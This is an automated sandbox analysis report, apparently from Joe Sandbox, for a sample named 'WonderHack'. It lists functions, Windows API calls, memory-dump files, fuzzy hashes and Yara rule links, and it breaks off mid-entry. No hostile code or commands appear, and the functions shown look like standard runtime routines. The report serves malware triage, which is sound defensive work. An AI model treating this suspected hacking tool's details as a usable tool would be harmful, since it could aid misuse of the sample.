Function 00CB4C19 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,?,00000000,00CB4B08,00CCEBC0), ref: 00CB4C65
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00CB4B08,00CCEBC0), ref: 00CB4C77

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 624b952bb542704ffc807e212c17d90654434450c6530992afa7b8e8b8ef9478
Instruction ID: b04ee44e7e7ef2b420b0e737404aff0064446cc82b1246cd7a8505694fc90fec
Opcode Fuzzy Hash: 624b952bb542704ffc807e212c17d90654434450c6530992afa7b8e8b8ef9478
Instruction Fuzzy Hash: 9B11E13120AB414AC7384E3E8DC86A6BE94A796730F38071AD4B7935F2C330DA82D240

Function 00C91BA0 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00C91BC8
GetModuleFileNameA.KERNEL32 ref: 00C91BE8

Part of subcall function 00C91890: CreateFileA.KERNELBASE ref: 00C91913

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: FileModule$CreateHandleName
String ID:
API String ID: 2828212432-0
Opcode ID: c032e09deec81b1edd4441fe7f8fb8dc47210257966a06e463db8e0560c7c22f
Instruction ID: f77b3ace93617928ccc302e7a57bbd5ae18b2416198aa395c72e78a3637e9487
Opcode Fuzzy Hash: c032e09deec81b1edd4441fe7f8fb8dc47210257966a06e463db8e0560c7c22f
Instruction Fuzzy Hash: CBF0BDB19042098FCB54EF78D94579DBBF4EB55300F4185BDD8C9D7280EA745A889F82

Function 00CB3187 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00CB7421,?,00000000,?,?,00CB70C1,?,00000007,?,?,00CB7A07,?,?), ref: 00CB319D
GetLastError.KERNEL32(?,?,00CB7421,?,00000000,?,?,00CB70C1,?,00000007,?,?,00CB7A07,?,?), ref: 00CB31A8

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 05e86eda8f9ffec077e5bdc15647489f64d14fe0daab367c3d94db6c5879c79c
Instruction ID: 204e15eb50cf7a830a8973e678e2437e088d5a47b947f5e14a7920feb819f7db
Opcode Fuzzy Hash: 05e86eda8f9ffec077e5bdc15647489f64d14fe0daab367c3d94db6c5879c79c
Instruction Fuzzy Hash: 8CE08C32100258ABCB112BA4EC0DFDD3B9DAB41795F044024FA0E9A0B0EA348A40DBD8

Function 00CA4CF2 Relevance: 1.6, APIs: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2391cf4eddf196496c96a7a4b28d23858ac8ef9f6b27d035f2a4c56746a6104e
Instruction ID: 19cdbaac5a720ba3c6d3c25310e7a0ae521c3d17094242208348993cd50aabd8
Opcode Fuzzy Hash: 2391cf4eddf196496c96a7a4b28d23858ac8ef9f6b27d035f2a4c56746a6104e
Instruction Fuzzy Hash: 2A41A03190011BEBCF18DFA9C4909EEB7B9FF8A318B54006AE541E7650E770EA11DBA0

Function 00CA3A58 Relevance: 1.6, APIs: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48dea4a6ececec08fc81539f57706c6aecde4fc5b19f5d6e4e44308bce75dc28
Instruction ID: ced30d8fd00e56c37bb820db7f0e85976fa4613b1a4f30e0ae68d2888b3dad77
Opcode Fuzzy Hash: 48dea4a6ececec08fc81539f57706c6aecde4fc5b19f5d6e4e44308bce75dc28
Instruction Fuzzy Hash: 7831863290015BAFCF14CEA8D8909EDB7B9BF0A324B140265F552E7290D721EA44DBA0

Function 00CA2B92 Relevance: 1.6, APIs: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CA2B03: GetModuleHandleExW.KERNEL32(00000002,00000000,00C9E5B1,?,?,00CA2AC6,?,?,00CA2A97,?,?,?,00C9E5B1), ref: 00CA2B0F

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,0BDF5ED4,?,?,?,00CC3374,000000FF), ref: 00CA2BF9

Part of subcall function 00C9B920: std::_Throw_Cpp_error.LIBCPMT ref: 00C9B94C
Part of subcall function 00C9B920: std::_Throw_Cpp_error.LIBCPMT ref: 00C9B968

Part of subcall function 00CA5C60: ReleaseSRWLockExclusive.KERNEL32(?,?,?,00C9B9E9,?,00C9FD92), ref: 00CA5C75

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CallbackExclusiveFreeHandleLibraryLockModuleReleaseReturnsWhen
String ID:
API String ID: 1423221283-0
Opcode ID: 65d7f065ddc5d293d44d56bb16298e7214f18f89eb19d6eafe4dd0948ab615a2
Instruction ID: 8bd04937281f40e050dfb7b569715d37a2ad7e11b7e0b654c542c1b5944d25f7
Opcode Fuzzy Hash: 65d7f065ddc5d293d44d56bb16298e7214f18f89eb19d6eafe4dd0948ab615a2
Instruction Fuzzy Hash: 32110832604A266BCF256F19FD05B6EB764EB42B34F18441BF812976E1CF34DD01D654

Function 00CB41C4 Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ec9cc7a3e9b350dae88c8026901d868b03b69af8295fa6f5c82feb27cf2f00a
Instruction ID: d1adcca3b91be156c53a90a99df3e778d31a71f8f1667ba7b41ea247852a353c
Opcode Fuzzy Hash: 2ec9cc7a3e9b350dae88c8026901d868b03b69af8295fa6f5c82feb27cf2f00a
Instruction Fuzzy Hash: F001F5376042255F8F0A8FACEC40B9E3769FBC5330F254125F7108B056DA30E801AB81

Function 00CA3A4A Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: a29678f153cd2beab0646b7bd0ea8ddbd1a43a5e5fcd0d7a03e528db0a12a6f2
Instruction ID: bbf127764190f208fa80cfc2583581e79972a9c4e40206f44e8c1ee5ff6d610d
Opcode Fuzzy Hash: a29678f153cd2beab0646b7bd0ea8ddbd1a43a5e5fcd0d7a03e528db0a12a6f2
Instruction Fuzzy Hash: 5C0126366086935BCB158BBCE8797A8BB50FF4333CF20416FF012954D1CB225A10E360

Function 00CB31C1 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00CA22A9,?,?,00C93E32,00001000,?,00C93D7A), ref: 00CB31F3

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 77e8de73e850b3c69e0bced16bd697459c2cb6e4fa55e20a9f9deb6a1ed471a7
Instruction ID: c2aa1f1338fe46da3346128e3f6835a51fbe9142d0cf236e6974a202fd513456
Opcode Fuzzy Hash: 77e8de73e850b3c69e0bced16bd697459c2cb6e4fa55e20a9f9deb6a1ed471a7
Instruction Fuzzy Hash: A2E065311012B297DA21266ADC05BDE765CAB437A0F150121EC29D61D1DF61CF0191A5

Function 00CA08D0 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00CA08F1

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 238d24ba721e6323cc6bf01d29c27b2a15ce58c99b8b4b94d52b965bb8bb163e
Instruction ID: 36921db8121417e62b8af20efaf6446017f4e9b245892866d890238cb12e6697
Opcode Fuzzy Hash: 238d24ba721e6323cc6bf01d29c27b2a15ce58c99b8b4b94d52b965bb8bb163e
Instruction Fuzzy Hash: C1E04F30C0030CEBCF04EBA4E14546DB7B4AF81314F2041A9E84557351DB359E54DB95

Function 00C9BDB0 Relevance: 1.5, APIs: 1, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00C9BDD1

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: a30ae68e049c7e956b783bb4e37629f1f29edf683a27e5578c88f21e457d13c9
Instruction ID: cbc1cd5bc3b747de00dbc0865f1d3909741aa7e6226be7011322bf38b9188e00
Opcode Fuzzy Hash: a30ae68e049c7e956b783bb4e37629f1f29edf683a27e5578c88f21e457d13c9
Instruction Fuzzy Hash: BBE04630C0020CFBCF08EBA8E24949CBBB4AFC1304F1080A9E84967311DB31AE50DB81

Non-executed Functions

Function 00CBEB72 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00CBED89

Strings

1#QNAN, xrefs: 00CBEC85
1#IND, xrefs: 00CBEC77
1#SNAN, xrefs: 00CBEC7E
1#INF, xrefs: 00CBECA8

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 0487a6129b622234748813b00ba79eb9446b1bf6456a3687a533312a257a8028
Instruction ID: 3cf86858b043d82cf1798ebdaee94367060b1462a207af5e79ce8ed5bf8a9204
Opcode Fuzzy Hash: 0487a6129b622234748813b00ba79eb9446b1bf6456a3687a533312a257a8028
Instruction Fuzzy Hash: D9D22C71E082298FDB65CF28DD40BEAB7B5EB45305F1441EAD41DE7240EB78AE868F41

Function 00CB8B44 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00CB8515,00000002,00000000,?,?,?,00CB8515,?,00000000), ref: 00CB8BDD
GetLocaleInfoW.KERNEL32(?,20001004,00CB8515,00000002,00000000,?,?,?,00CB8515,?,00000000), ref: 00CB8C06
GetACP.KERNEL32(?,?,00CB8515,?,00000000), ref: 00CB8C1B

Strings

ACP, xrefs: 00CB8B62
OCP, xrefs: 00CB8B98

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ef6b9f4bfd87e758c2bd17c5ab56939628ada7c8ca52bdd3a315a6479a779681
Instruction ID: faf7653861c2a496ac936093fa93869a71844ee8317ba9fd9eee69931ca2cfca
Opcode Fuzzy Hash: ef6b9f4bfd87e758c2bd17c5ab56939628ada7c8ca52bdd3a315a6479a779681
Instruction Fuzzy Hash: 2721C1A2600100ABDB309F65CD41FD7B7AEAB54B60F5A8425E91ADB140EF32DF48D7A0

Function 00CB83DF Relevance: 7.7, APIs: 5, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CB3413: GetLastError.KERNEL32(00000000,?,00CB5749), ref: 00CB3417
Part of subcall function 00CB3413: SetLastError.KERNEL32(00000000,?,?,00000028,00CAF7C9), ref: 00CB34B9

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 00CB84E7
IsValidCodePage.KERNEL32(00000000), ref: 00CB8525
IsValidLocale.KERNEL32(?,00000001), ref: 00CB8538
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00CB8580
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00CB859B

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: c070ba566d72c20ba58d89a86fc0664c18868c46e1c99b04419a460fdd20303f
Instruction ID: b99c0fa237097d79e73860816f9de7f098cd647b49981b14f21bc84e642e0d35
Opcode Fuzzy Hash: c070ba566d72c20ba58d89a86fc0664c18868c46e1c99b04419a460fdd20303f
Instruction Fuzzy Hash: 81513D71A0020AABEF20DFA5CC55BEE77BCBF04700F184469E915E7191EB709A48DF61

Function 00CB1250 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e210328f8d4f359fac80214519e11883391db29b0651a67b32ed7d6b3dc8e133
Instruction ID: b464203d7dff4b04e502f39c5e5a06f138f138258b547fb9cc5fd814208ac05a
Opcode Fuzzy Hash: e210328f8d4f359fac80214519e11883391db29b0651a67b32ed7d6b3dc8e133
Instruction Fuzzy Hash: 12022C71E012199FDF14CFA9D8906EEBBF1FF48314F688269E925E7340D731AA458B90

Function 00CB9126 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 00CB9216
FindNextFileW.KERNEL32(00000000,?), ref: 00CB930A
FindClose.KERNEL32(00000000), ref: 00CB9349
FindClose.KERNEL32(00000000), ref: 00CB937C

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 5b2ba7fe96cab24ef80b5de75492890c0a49ec14c215b6fc0a4264b09d6f79ad
Instruction ID: 75e286c0016b056d5282005a8cc4744c93568e19d97f06791997b1f398e982ca
Opcode Fuzzy Hash: 5b2ba7fe96cab24ef80b5de75492890c0a49ec14c215b6fc0a4264b09d6f79ad
Instruction Fuzzy Hash: C371E175D051696FDF20AF28CC8DBEEBBB8EB05300F1441D9E16D97251DA314E85AF10

Function 00CA6528 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00CA6534
IsDebuggerPresent.KERNEL32 ref: 00CA6600
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00CA6619
UnhandledExceptionFilter.KERNEL32(?), ref: 00CA6623

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
